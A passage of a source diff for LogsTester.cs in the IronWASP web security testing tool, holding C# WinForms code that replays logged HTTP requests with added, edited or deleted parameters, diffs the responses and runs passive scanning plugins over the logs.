PassivePluginLogTabs.Visible = false; - PassivePluginLogLoadProgressBar.Visible = true; - } - catch{} - } - } - } - } - - void LoadPassivePluginResultLog(object LogIdObj) - { - int LogId = (int)LogIdObj; - try - { - Session Sess = Session.FromLog(LogId, this.LogSource); - PassivePluginLogRequestView.SetRequest(Sess.Request); - if(Sess.Response != null) - PassivePluginLogResponseView.SetResponse(Sess.Response, Sess.Request); - } - catch (Exception Exp) - { - IronException.Report(string.Format("Unable to load {0} log id - {1}", this.LogSource, LogId), Exp); - } - EndPassivePluginLogLoad(); - } - - delegate void EndPassivePluginLogLoad_d(); - void EndPassivePluginLogLoad() - { - if (PassivePluginLogTabs.InvokeRequired) - { - EndPassivePluginLogLoad_d CALL_d = new EndPassivePluginLogLoad_d(EndPassivePluginLogLoad); - PassivePluginLogTabs.Invoke(CALL_d, new object[] { }); - } - else - { - PassivePluginLogTabs.Visible = true; - PassivePluginLogLoadProgressBar.Visible = false; - } - } - - private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - SessionPluginsCombo.Items.Clear(); - SessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); - } - - private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); - SPCA.Show(); - } - - private void LogsTester_Load(object sender, EventArgs e) - { - SessionPluginsCombo.Items.Clear(); - SessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class LogsTester : Form + { + int CurrentStep = 0; + + int CurrentIndex = 0; + int Counter = 0; + Dictionary LogIdsToTest = new Dictionary(); + string LogSource = ""; + + string TestType = AddParameterTest; + SessionPlugin SessionHandler = new SessionPlugin(); + + public const string AddParameterTest = "AddParameterTest"; + public const string EditParameterTest = "EditParameterTest"; + public const string DeleteParameterTest = "DeleteParameterTest"; + public const string PassivePluginTest = "PassivePluginTest"; + + public const string UrlPartPartSection = "UrlPathPart"; + public const string QuerySection = "Query"; + public const string NormalBodySection = "Body"; + public const string OtherTypeBodySection = "OtherTypeBodySection"; + public const string CookieSection = "Cookie"; + public const string HeaderSection = "Header"; + + const string TesterLogSourceAttributeValue = "LogTester"; + + string ParameterSection = ""; + string ParameterName = ""; + int UrlPathPartPosition = 0; + string ParameterValue = ""; + + List PassivePluginsToRun = new List(); + int FindingsIdCounter = 0; + + Dictionary AllFindings = new Dictionary(); + + bool DoTest = true; + + bool ShouldResendOriginalRequest = true; + + internal static Thread TestThread; + internal static Thread LogLoadThread; + + public LogsTester() + { + InitializeComponent(); + } + + private void ParameterManipulationResultsLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ParameterManipulationResultsLogGrid.SelectedCells.Count < 1 || ParameterManipulationResultsLogGrid.SelectedCells[0].Value == null || ParameterManipulationResultsLogGrid.SelectedRows.Count == 0) + { + return; + } + int OriginalLogId = (int)ParameterManipulationResultsLogGrid.SelectedCells[0].Value; + int ResentLogId = 0; + if (ParameterManipulationResultsLogGrid.SelectedCells[3].Value != null) + ResentLogId = (int)ParameterManipulationResultsLogGrid.SelectedCells[3].Value; + int TestLogId = 0; + if (ParameterManipulationResultsLogGrid.SelectedCells[6].Value != null) + TestLogId = (int)ParameterManipulationResultsLogGrid.SelectedCells[6].Value; + ShowSelectedTestResult(this.LogSource, OriginalLogId, ResentLogId, TestLogId); + } + + void ShowSelectedTestResult(string Source, int OriginalLogId, int ResentLogId, int TestLogId) + { + ParameterManipulationResultsBottomTabs.Visible = false; + ParameterManipulationLoadProgressBar.Visible = true; + + OriginalRequestView.ClearRequest(); + OriginalResponseView.ClearResponse(); + ResentRequestView.ClearRequest(); + ResentResponseView.ClearResponse(); + TestRequestView.ClearRequest(); + TestResponseView.ClearResponse(); + + OriginalVsResentRequestDRV.ClearDiffResults(); + OriginalVsResentResponseDRV.ClearDiffResults(); + ResentVsTestRequestDRV.ClearDiffResults(); + ResentVsTestResponseDRV.ClearDiffResults(); + OriginalVsTestRequestDRV.ClearDiffResults(); + OriginalVsTestResponseDRV.ClearDiffResults(); + + if (LogLoadThread != null) + { + try + { + LogLoadThread.Abort(); + } + catch { } + } + object[] SelectedLogInfo = new object[] { Source, OriginalLogId, ResentLogId, TestLogId}; + LogLoadThread = new Thread(ShowSelectedTestResult); + LogLoadThread.Start(SelectedLogInfo); + } + + void ShowSelectedTestResult(object SelectedLogInfoObject) + { + object[] SelectedLogInfo = (object[])SelectedLogInfoObject; + string Source = SelectedLogInfo[0].ToString(); + int OriginalLogId = (int) SelectedLogInfo[1]; + int ResentLogId = (int) SelectedLogInfo[2]; + int TestLogId = (int)SelectedLogInfo[3]; + try + { + Session OriginalSession = Session.FromLog(OriginalLogId, Source); + Session ResentSession = null; + if (ResentLogId > 0) + ResentSession = Session.FromLog(ResentLogId, TesterLogSourceAttributeValue); + Session TestSession = null; + if (TestLogId > 0) + TestSession = Session.FromLog(TestLogId, TesterLogSourceAttributeValue); + string OriginalRequestString = ""; + string OriginalResponseString = ""; + string ResentRequestString = ""; + string ResentResponseString = ""; + string TestRequestString = ""; + string TestResponseString = ""; + if (OriginalSession.Request != null) + { + OriginalRequestView.SetRequest(OriginalSession.Request); + OriginalRequestString = OriginalSession.Request.ToString(); + } + if (OriginalSession.Response != null) + { + OriginalResponseView.SetResponse(OriginalSession.Response, OriginalSession.Request); + OriginalResponseString = OriginalSession.Response.ToString(); + } + if (ResentSession != null && ResentSession.Request != null) + { + ResentRequestView.SetRequest(ResentSession.Request); + ResentRequestString = ResentSession.Request.ToString(); + } + if (ResentSession != null && ResentSession.Response != null) + { + ResentResponseView.SetResponse(ResentSession.Response, ResentSession.Request); + ResentResponseString = ResentSession.Response.ToString(); + } + if (TestSession != null && TestSession.Request != null) + { + TestRequestView.SetRequest(TestSession.Request); + TestRequestString = TestSession.Request.ToString(); + } + if (TestSession != null && TestSession.Response != null) + { + TestResponseView.SetResponse(TestSession.Response, TestSession.Request); + TestResponseString = TestSession.Response.ToString(); + } + string[] OriginalVsResentRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, ResentRequestString); + string[] OriginalVsResentResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, ResentResponseString); + string[] OriginalVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, TestRequestString); + string[] OriginalVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, TestResponseString); + string[] ResentVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(ResentRequestString, TestRequestString); + string[] ResentVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(ResentResponseString, TestResponseString); + + string OriginalVsResentRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, ResentRequestString); + string OriginalVsResentResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, ResentResponseString); + string OriginalVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, TestRequestString); + string OriginalVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, TestResponseString); + string ResentVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(ResentRequestString, TestRequestString); + string ResentVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(ResentResponseString, TestResponseString); + + OriginalVsResentRequestDRV.ShowDiffResults(OriginalVsResentRequestSinglePageResults, OriginalVsResentRequestSidebySideResults[0], OriginalVsResentRequestSidebySideResults[1]); + OriginalVsResentResponseDRV.ShowDiffResults(OriginalVsResentResponseSinglePageResults, OriginalVsResentResponseSidebySideResults[0], OriginalVsResentResponseSidebySideResults[1]); + ResentVsTestRequestDRV.ShowDiffResults(ResentVsTestRequestSinglePageResults, ResentVsTestRequestSidebySideResults[0], ResentVsTestRequestSidebySideResults[1]); + ResentVsTestResponseDRV.ShowDiffResults(ResentVsTestResponseSinglePageResults, ResentVsTestResponseSidebySideResults[0], ResentVsTestResponseSidebySideResults[1]); + OriginalVsTestRequestDRV.ShowDiffResults(OriginalVsTestRequestSinglePageResults, OriginalVsTestRequestSidebySideResults[0], OriginalVsTestRequestSidebySideResults[1]); + OriginalVsTestResponseDRV.ShowDiffResults(OriginalVsTestResponseSinglePageResults, OriginalVsTestResponseSidebySideResults[0], OriginalVsTestResponseSidebySideResults[1]); + } + catch (ThreadAbortException) { } + catch (Exception Exp) { IronException.Report("Error loading Log Tester info", Exp); } + finally + { + EndLogLoad(); + } + } + internal void SetSourceAndLogs(string Source, List LogIds) + { + this.LogSource = Source; + this.CurrentIndex = 0; + this.Counter = 0; + this.LogIdsToTest.Clear(); + foreach (int ID in LogIds) + { + this.Counter++; + this.LogIdsToTest[Counter] = ID; + } + } + + void StartTest() + { + try + { + this.DoTest = true; + if (this.CurrentIndex == 0) + { + this.AllFindings.Clear(); + FindingsIdCounter = 0; + } + for (int i = 1; i <= this.LogIdsToTest.Count; i++) + { + if (!this.DoTest) return; + if (this.CurrentIndex < i) + { + this.CurrentIndex = i; + this.DoTest = this.TestCurrentIndex(); + } + } + this.CurrentIndex = 0; + ShowStatus("Testing complete"); + SetButtonStatusOnTestCompletion(); + } + catch (ThreadAbortException) { } + catch(Exception Exp) + { + IronException.Report("Error performing log testing", Exp); + } + } + + delegate void SetButtonStatusOnTestCompletion_d(); + void SetButtonStatusOnTestCompletion() + { + if (ParameterManipulationResultsStatusLbl.InvokeRequired) + { + SetButtonStatusOnTestCompletion_d CALL_d = new SetButtonStatusOnTestCompletion_d(SetButtonStatusOnTestCompletion); + ParameterManipulationResultsStatusLbl.Invoke(CALL_d, new object[] { }); + } + else + { + PlayBtn.Enabled = true; + PauseBtn.Enabled = false; + StopBtn.Enabled = false; + } + } + + bool TestCurrentIndex() + { + int LogId = this.LogIdsToTest[this.CurrentIndex]; + ShowStatus(string.Format("Testing Log ID {0}", LogId)); + try + { + Session Sess = Session.FromLog(LogId, this.LogSource); + if (this.TestType.Equals(PassivePluginTest)) + return this.DoPassivePluginTestOnCurrentIndex(LogId, Sess); + else + return this.DoParameterTestOnCurrentIndex(LogId, Sess); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + ShowStatus("Test stopped, encountered error"); + IronException.Report(string.Format("Error Reading {0} Log - {1}", LogSource, LogId), Exp); + return false; + } + return false; + } + + bool DoPassivePluginTestOnCurrentIndex(int LogId, Session Sess) + { + foreach (string PluginName in this.PassivePluginsToRun) + { + PassivePlugin P = PassivePlugin.Get(PluginName); + if (P.WorksOn == PluginWorksOn.Response && Sess.Response == null) continue; + try + { + ShowStatus(string.Format("Testing Log ID {0} with plugin - {1}", LogId, PluginName)); + Findings CheckResults = new Findings(); + P.Check(Sess, CheckResults, true); + foreach (Finding F in CheckResults.GetAll()) + { + foreach (Trigger T in F.Triggers.GetTriggers()) + { + //To save memory + T.Request = null; + T.Response = null; + } + } + if (CheckResults.GetAll().Count > 0) + { + lock (AllFindings) + { + if (!AllFindings.ContainsKey(LogId)) AllFindings[LogId] = new Findings(); + foreach (Finding F in CheckResults.GetAll()) + { + FindingsIdCounter++; + F.Id = FindingsIdCounter; + F.Plugin = PluginName; + AllFindings[LogId].Add(F); + } + } + } + } + catch(Exception Exp) + { + IronException.Report(string.Format("Error running Passive Plugin '{0}' on {1} log with id {2}", PluginName, this.LogSource, LogId), Exp); + } + } + if (AllFindings.ContainsKey(LogId)) + AddPassivePluginRowInfo(LogId); + return true; + } + + bool DoParameterTestOnCurrentIndex(int LogId, Session Sess) + { + try + { + Request TestRequest = GetTestRequest(Sess.Request); + if (TestRequest == null) + return true; + string OriginalResponseString = ""; + if (Sess.Response != null) + { + SetOriginalSessionInfo(LogId, Sess.Response.Code, Sess.Response.BodyLength); + OriginalResponseString = Sess.Response.ToString(); + } + else + { + SetOriginalSessionInfo(LogId, 0, 0); + } + try + { + string ResentResponseString = ""; + if (ShouldResendOriginalRequest) + { + Response ResentResponse = SendRequest(Sess.Request); + ResentResponseString = ResentResponse.ToString(); + int OriginalVsResentDiffLevel = Tools.DiffLevel(OriginalResponseString, ResentResponseString); + SetResentSessionInfo(LogId, ResentResponse.ID, ResentResponse.Code, ResentResponse.BodyLength, string.Format("{0}%", OriginalVsResentDiffLevel)); + } + + Response TestResponse = SendRequest(TestRequest); + string TestResponseString = TestResponse.ToString(); + int OriginalVsTestDiffLevel = Tools.DiffLevel(OriginalResponseString, TestResponseString); + int ResentVsTestDiffLevel = Tools.DiffLevel(ResentResponseString, TestResponseString); + SetTestSessionInfo(LogId, TestResponse.ID, TestResponse.Code, TestResponse.BodyLength, string.Format("{0}%", OriginalVsTestDiffLevel), string.Format("{0}%", ResentVsTestDiffLevel)); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + ShowStatus("Test stopped, encountered error"); + IronException.Report(string.Format("Error Testing {0} Log - {1}", LogSource, LogId), Exp); + return false; + } + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + ShowStatus("Test stopped, encountered error"); + IronException.Report(string.Format("Error Reading {0} Log - {1}", LogSource, LogId), Exp); + return false; + } + return true; + } + + Response SendRequest(Request Req) + { + if(SessionHandler != null && SessionHandler.Name.Length > 0) + Req = SessionHandler.DoBeforeSending(Req, null); + Req.SetSource(TesterLogSourceAttributeValue); + return Req.Send(); + } + + Request GetTestRequest(Request Req) + { + Request TestRequest = Req.GetClone(); + switch (TestType) + { + case(AddParameterTest): + return AddParameter(TestRequest); + case(EditParameterTest): + return EditParameter(TestRequest); + case(DeleteParameterTest): + return DeleteParameter(TestRequest); + } + return TestRequest; + } + + Request AddParameter(Request Req) + { + try + { + switch (ParameterSection) + { + case (UrlPartPartSection): + List UrlPathParts = Req.UrlPathParts; + UrlPathParts.Insert(UrlPathPartPosition, ParameterValue); + Req.UrlPathParts = UrlPathParts; + break; + case (QuerySection): + Req.Query.Add(ParameterName, ParameterValue); + break; + case (NormalBodySection): + Req.Body.Add(ParameterName, ParameterValue); + break; + case (OtherTypeBodySection): + break; + case (CookieSection): + Req.Cookie.Add(ParameterName, ParameterValue); + break; + case (HeaderSection): + Req.Headers.Add(ParameterName, ParameterValue); + break; + } + } + catch { } + return Req; + } + + Request EditParameter(Request Req) + { + try + { + switch (ParameterSection) + { + case (UrlPartPartSection): + List UrlPathParts = Req.UrlPathParts; + UrlPathParts[UrlPathPartPosition] = ParameterValue; + Req.UrlPathParts = UrlPathParts; + break; + case (QuerySection): + Req.Query.Set(ParameterName, ParameterValue); + break; + case (NormalBodySection): + Req.Body.Set(ParameterName, ParameterValue); + break; + case (OtherTypeBodySection): + break; + case (CookieSection): + Req.Cookie.Set(ParameterName, ParameterValue); + break; + case (HeaderSection): + Req.Headers.Set(ParameterName, ParameterValue); + break; + } + } + catch { } + return Req; + } + + Request DeleteParameter(Request Req) + { + try + { + switch (ParameterSection) + { + case (UrlPartPartSection): + List UrlPathParts = Req.UrlPathParts; + if (UrlPathPartPosition < UrlPathParts.Count) + { + UrlPathParts.RemoveAt(UrlPathPartPosition); + Req.UrlPathParts = UrlPathParts; + } + else + { + return null; + } + break; + case (QuerySection): + if (Req.Query.Has(ParameterName)) + Req.Query.Remove(ParameterName); + else + return null; + break; + case (NormalBodySection): + if (Req.Body.Has(ParameterName)) + Req.Body.Remove(ParameterName); + else + return null; + break; + case (OtherTypeBodySection): + break; + case (CookieSection): + if (Req.Cookie.Has(ParameterName)) + Req.Cookie.Remove(ParameterName); + else + return null; + break; + case (HeaderSection): + if (Req.Headers.Has(ParameterName)) + Req.Headers.Remove(ParameterName); + else + return null; + break; + } + } + catch { return null; } + return Req; + } + + + delegate void SetOriginalSessionInfo_d(int LogId, int Code, int Length); + void SetOriginalSessionInfo(int LogId, int Code, int Length) + { + if (ParameterManipulationResultsLogGrid.InvokeRequired) + { + SetOriginalSessionInfo_d CALL_d = new SetOriginalSessionInfo_d(SetOriginalSessionInfo); + ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { LogId, Code, Length }); + } + else + { + bool AlreadyExists = false; + foreach (DataGridViewRow Row in ParameterManipulationResultsLogGrid.Rows) + { + if (LogId == (int)Row.Cells[0].Value) + { + AlreadyExists = true; + break; + } + } + if(!AlreadyExists) + ParameterManipulationResultsLogGrid.Rows.Add(new object[]{LogId, Code, Length}); + } + } + delegate void SetResentSessionInfo_d(int LogId, int ResentLogId, int Code, int Length, string OriginalVsResent); + void SetResentSessionInfo(int LogId, int ResentLogId, int Code, int Length, string OriginalVsResent) + { + if (ParameterManipulationResultsLogGrid.InvokeRequired) + { + SetResentSessionInfo_d CALL_d = new SetResentSessionInfo_d(SetResentSessionInfo); + ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { LogId, ResentLogId, Code, Length, OriginalVsResent }); + } + else + { + foreach (DataGridViewRow Row in ParameterManipulationResultsLogGrid.Rows) + { + if (LogId == (int)Row.Cells[0].Value) + { + Row.Cells["ResentIdClmn"].Value = ResentLogId; + Row.Cells["ResentCodeClmn"].Value = Code; + Row.Cells["ResentLengthClmn"].Value = Length; + Row.Cells["OriginalVsResentClmn"].Value = OriginalVsResent; + return; + } + } + } + } + delegate void SetTestSessionInfo_d(int LogId, int TestLogId, int Code, int Length, string OriginalVsTest, string ResentVsTest); + void SetTestSessionInfo(int LogId, int TestLogId, int Code, int Length, string OriginalVsTest, string ResentVsTest) + { + if (ParameterManipulationResultsLogGrid.InvokeRequired) + { + SetTestSessionInfo_d CALL_d = new SetTestSessionInfo_d(SetTestSessionInfo); + ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { LogId, TestLogId, Code, Length, OriginalVsTest, ResentVsTest }); + } + else + { + foreach (DataGridViewRow Row in ParameterManipulationResultsLogGrid.Rows) + { + if (LogId == (int)Row.Cells[0].Value) + { + Row.Cells["TestIdClmn"].Value = TestLogId; + Row.Cells["TestCodeClmn"].Value = Code; + Row.Cells["TestLengthClmn"].Value = Length; + Row.Cells["OriginalVsTestClmn"].Value = OriginalVsTest; + Row.Cells["ResentVsTestClmn"].Value = ResentVsTest; + return; + } + } + } + } + + delegate void EndLogLoad_d(); + void EndLogLoad() + { + if (ParameterManipulationResultsLogGrid.InvokeRequired) + { + EndLogLoad_d CALL_d = new EndLogLoad_d(EndLogLoad); + ParameterManipulationResultsLogGrid.Invoke(CALL_d, new object[] { }); + } + else + { + ParameterManipulationLoadProgressBar.Visible = false; + + ParameterManipulationResultsBottomTabs.Visible = true; + } + } + + + delegate void ShowStatus_d(string Status); + void ShowStatus(string Status) + { + if (ParameterManipulationResultsStatusLbl.InvokeRequired) + { + ShowStatus_d CALL_d = new ShowStatus_d(ShowStatus); + ParameterManipulationResultsStatusLbl.Invoke(CALL_d, new object[] { Status }); + } + else + { + ParameterManipulationResultsStatusLbl.Text = Status; + } + } + + delegate void AddPassivePluginRowInfo_d(int LogId); + void AddPassivePluginRowInfo(int LogId) + { + if (PassivePluginsScanResultsGrid.InvokeRequired) + { + AddPassivePluginRowInfo_d CALL_d = new AddPassivePluginRowInfo_d(AddPassivePluginRowInfo); + PassivePluginsScanResultsGrid.Invoke(CALL_d, new object[] { LogId }); + } + else + { + Findings LogFindings = this.AllFindings[LogId]; + + List HighVulnTitles = new List(); + List MediumVulnTitles = new List(); + List LowVulnTitles = new List(); + List InfoTitles = new List(); + List TestLeadsTitles = new List(); + + foreach (Finding F in LogFindings.GetAll()) + { + switch(F.Type) + { + case(FindingType.Vulnerability): + switch(F.Severity) + { + case(FindingSeverity.High): + HighVulnTitles.Add(F.Title); + break; + case(FindingSeverity.Medium): + MediumVulnTitles.Add(F.Title); + break; + case(FindingSeverity.Low): + LowVulnTitles.Add(F.Title); + break; + } + break; + case(FindingType.Information): + InfoTitles.Add(F.Title); + break; + case (FindingType.TestLead): + TestLeadsTitles.Add(F.Title); + break; + } + } + + StringBuilder Titles = new StringBuilder(); + if (HighVulnTitles.Count > 0) + { + Titles.Append(string.Join(",", HighVulnTitles.ToArray())); + } + if (MediumVulnTitles.Count > 0) + { + if (Titles.Length > 0) Titles.Append(","); + Titles.Append(string.Join(",", MediumVulnTitles.ToArray())); + } + if (LowVulnTitles.Count > 0) + { + if (Titles.Length > 0) Titles.Append(","); + Titles.Append(string.Join(",", LowVulnTitles.ToArray())); + } + if (TestLeadsTitles.Count > 0) + { + if (Titles.Length > 0) Titles.Append(","); + Titles.Append(string.Join(",", TestLeadsTitles.ToArray())); + } + if (InfoTitles.Count > 0) + { + if (Titles.Length > 0) Titles.Append(","); + Titles.Append(string.Join(",", InfoTitles.ToArray())); + } + + PassivePluginsScanResultsGrid.Rows.Add(new object[]{ LogId, HighVulnTitles.Count + MediumVulnTitles.Count + LowVulnTitles.Count, HighVulnTitles.Count, MediumVulnTitles.Count, LowVulnTitles.Count, InfoTitles.Count, TestLeadsTitles.Count, Titles.ToString() }); + } + } + + public void PauseTest() + { + this.DoTest = false; + try + { + TestThread.Abort(); + } + catch { } + this.CurrentIndex = this.CurrentIndex - 1; + ShowStatus("Test paused"); + + } + + public void StopTest() + { + this.DoTest = false; + try + { + TestThread.Abort(); + } + catch { } + this.CurrentIndex = 0; + ShowStatus("Test stopped"); + } + + private void StartTestBtn_Click(object sender, EventArgs e) + { + if (ReadTestSettings()) + { + ShowStep0Status(""); + if (TestThread != null) + { + try + { + TestThread.Abort(); + } + catch { } + } + TestThread = new Thread(StartTest); + TestThread.Start(); + CurrentStep = 2; + if(this.TestType.Equals(PassivePluginTest)) + ResultsBaseTabs.SelectTab("PassiveChecksResultsTab"); + else + ResultsBaseTabs.SelectTab("ParameterManipulationResultsTab"); + BaseTabs.SelectTab("ResultsTab"); + PlayBtn.Enabled = false; + PauseBtn.Enabled = true; + StopBtn.Enabled = true; + } + } + + bool ReadTestSettings() + { + if (this.TestType.Equals(PassivePluginTest)) + { + this.PassivePluginsToRun.Clear(); + foreach (DataGridViewRow Row in PassiveScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) PassivePluginsToRun.Add(Row.Cells[1].Value.ToString()); + } + if (this.PassivePluginsToRun.Count == 0) + { + ShowStep1Error("No plugins selected, select atleast one plugin"); + return false; + } + else + { + return true; + } + } + else + { + ParameterSection = ParameterTypeCombo.Text; + ParameterName = ParameterNameTB.Text.Trim(); + ParameterValue = ParameterValueTB.Text.Trim(); + if (ParameterTypeCombo.SelectedIndex < 0) + { + ShowStep1Error("Parameter Section is not selected"); + return false; + } + if (ParameterName.Length == 0) + { + ShowStep1Error("Parameter name cannot be blank"); + return false; + } + if (ParameterTypeCombo.SelectedIndex == 0) + { + try + { + Int32.Parse(ParameterName); + } + catch + { + ShowStep1Error("Parameter Index must be a number"); + return false; + } + } + if (SessionPluginsCombo.Text.Trim().Length > 0) + { + if (SessionPlugin.List().Contains(SessionPluginsCombo.Text)) + { + SessionHandler = SessionPlugin.Get(SessionPluginsCombo.Text); + } + else + { + ShowStep1Error("Session Plugin name is invalid. Either select an existing plugin from drop-down or leave this field blank."); + return false; + } + } + } + return true; + } + + private void StepOneNextBtn_Click(object sender, EventArgs e) + { + ShowStep0Status(""); + if (ParameterAddTestRB.Checked) + { + this.TestType = AddParameterTest; + ParameterActionLbl.Text = "Parameter to Add:"; + ParameterValueTBLbl.Visible = true; + ParameterValueTB.Visible = true; + ConfigureTestTabs.SelectTab("ConfigureParameterTab"); + } + else if (ParameterEditTestRB.Checked) + { + this.TestType = EditParameterTest; + ParameterActionLbl.Text = "Parameter to Edit:"; + ParameterValueTBLbl.Visible = true; + ParameterValueTB.Visible = true; + ConfigureTestTabs.SelectTab("ConfigureParameterTab"); + } + else if (ParameterDeleteTestRB.Checked) + { + this.TestType = DeleteParameterTest; + ParameterActionLbl.Text = "Parameter to Delete:"; + ParameterValueTBLbl.Visible = false; + ParameterValueTB.Visible = false; + ConfigureTestTabs.SelectTab("ConfigureParameterTab"); + } + else if (RunPassivePluginsRB.Checked) + { + this.TestType = PassivePluginTest; + ConfigureTestTabs.SelectTab("SelectPluginsTab"); + PassiveScanPluginsGrid.Rows.Clear(); + SelectAllPassivePluginsCB.Checked = false; + foreach (string PluginName in PassivePlugin.List()) + { + if(PassivePlugin.Get(PluginName).CallingState == PluginCallingState.Offline) + PassiveScanPluginsGrid.Rows.Add(new object[]{false, PluginName}); + } + ConfigureTestTabs.SelectTab("SelectPluginsTab"); + } + else + { + ShowStep0Error("Atleast one option must be selected"); + return; + } + CurrentStep = 1; + BaseTabs.SelectTab("ConfigureTab"); + } + + void ShowStep0Status(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Black; + this.Step0StatusTB.Visible = true; + } + } + void ShowStep0Error(string Text) + { + this.Step0StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step0StatusTB.Visible = false; + } + else + { + this.Step0StatusTB.ForeColor = Color.Red; + this.Step0StatusTB.Visible = true; + } + } + + void ShowStep1Status(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Black; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep1Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Red; + this.Step1StatusTB.Visible = true; + } + } + + private void ParameterTypeCombo_SelectedIndexChanged(object sender, EventArgs e) + { + if (ParameterTypeCombo.SelectedIndex == 0) + ParameterNameTBLbl.Text = "Parameter Index:"; + else + ParameterNameTBLbl.Text = "Parameter Name:"; + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void StepTwoPreviousBtn_Click(object sender, EventArgs e) + { + CurrentStep = 0; + BaseTabs.SelectTab("SelectTestTab"); + } + + private void PlayBtn_Click(object sender, EventArgs e) + { + if (TestThread != null) + { + try + { + TestThread.Abort(); + } + catch { } + } + if (this.CurrentIndex == 0) + { + ParameterManipulationResultsLogGrid.Rows.Clear(); + PassivePluginsScanResultsGrid.Rows.Clear(); + } + TestThread = new Thread(StartTest); + TestThread.Start(); + PlayBtn.Enabled = false; + PauseBtn.Enabled = true; + StopBtn.Enabled = true; + } + + private void PauseBtn_Click(object sender, EventArgs e) + { + PauseTest(); + PlayBtn.Enabled = true; + PauseBtn.Enabled = false; + StopBtn.Enabled = true; + } + + private void StopBtn_Click(object sender, EventArgs e) + { + StopTest(); + PlayBtn.Enabled = true; + PauseBtn.Enabled = false; + StopBtn.Enabled = false; + } + + private void LogsTester_FormClosing(object sender, FormClosingEventArgs e) + { + this.StopTest(); + } + + private void ResultsBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (this.TestType.Equals(PassivePluginTest)) + { + if (!ResultsBaseTabs.SelectedTab.Name.Equals("PassiveChecksResultsTab")) + ResultsBaseTabs.SelectTab("PassiveChecksResultsTab"); + } + else + { + if (!ResultsBaseTabs.SelectedTab.Name.Equals("ParameterManipulationResultsTab")) + ResultsBaseTabs.SelectTab("ParameterManipulationResultsTab"); + } + } + + private void ConfigureTestTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (this.TestType.Equals(PassivePluginTest)) + { + if(!ConfigureTestTabs.SelectedTab.Name.Equals("SelectPluginsTab")) + ConfigureTestTabs.SelectTab("SelectPluginsTab"); + } + else + { + if (!ConfigureTestTabs.SelectedTab.Name.Equals("ConfigureParameterTab")) + ConfigureTestTabs.SelectTab("ConfigureParameterTab"); + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (BaseTabs.SelectedIndex != CurrentStep) + BaseTabs.SelectTab(CurrentStep); + } + + private void ParameterTypeCombo_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar != (char)Keys.Enter) + e.Handled = true; + } + + private void ShouldResentOriginalRequestCB_CheckedChanged(object sender, EventArgs e) + { + this.ShouldResendOriginalRequest = ShouldResentOriginalRequestCB.Checked; + } + + private void PassiveScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (PassiveScanPluginsGrid.SelectedRows == null) return; + if (PassiveScanPluginsGrid.SelectedRows.Count == 0) return; + PassiveScanPluginsGrid.SelectedRows[0].Cells[0].Value = !((bool)PassiveScanPluginsGrid.SelectedRows[0].Cells[0].Value); + if (!(bool)PassiveScanPluginsGrid.SelectedRows[0].Cells[0].Value) SelectAllPassivePluginsCB.Checked = false; + } + + private void SelectAllPassivePluginsCB_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow Row in PassiveScanPluginsGrid.Rows) + { + Row.Cells[0].Value = SelectAllPassivePluginsCB.Checked; + } + } + + private void PassivePluginsScanResultsGrid_SelectionChanged(object sender, EventArgs e) + { + if (PassivePluginsScanResultsGrid.SelectedCells == null || PassivePluginsScanResultsGrid.SelectedCells.Count == 0) return; + try + { + int LogId = (int)PassivePluginsScanResultsGrid.SelectedRows[0].Cells[0].Value; + Findings Fs = AllFindings[LogId]; + 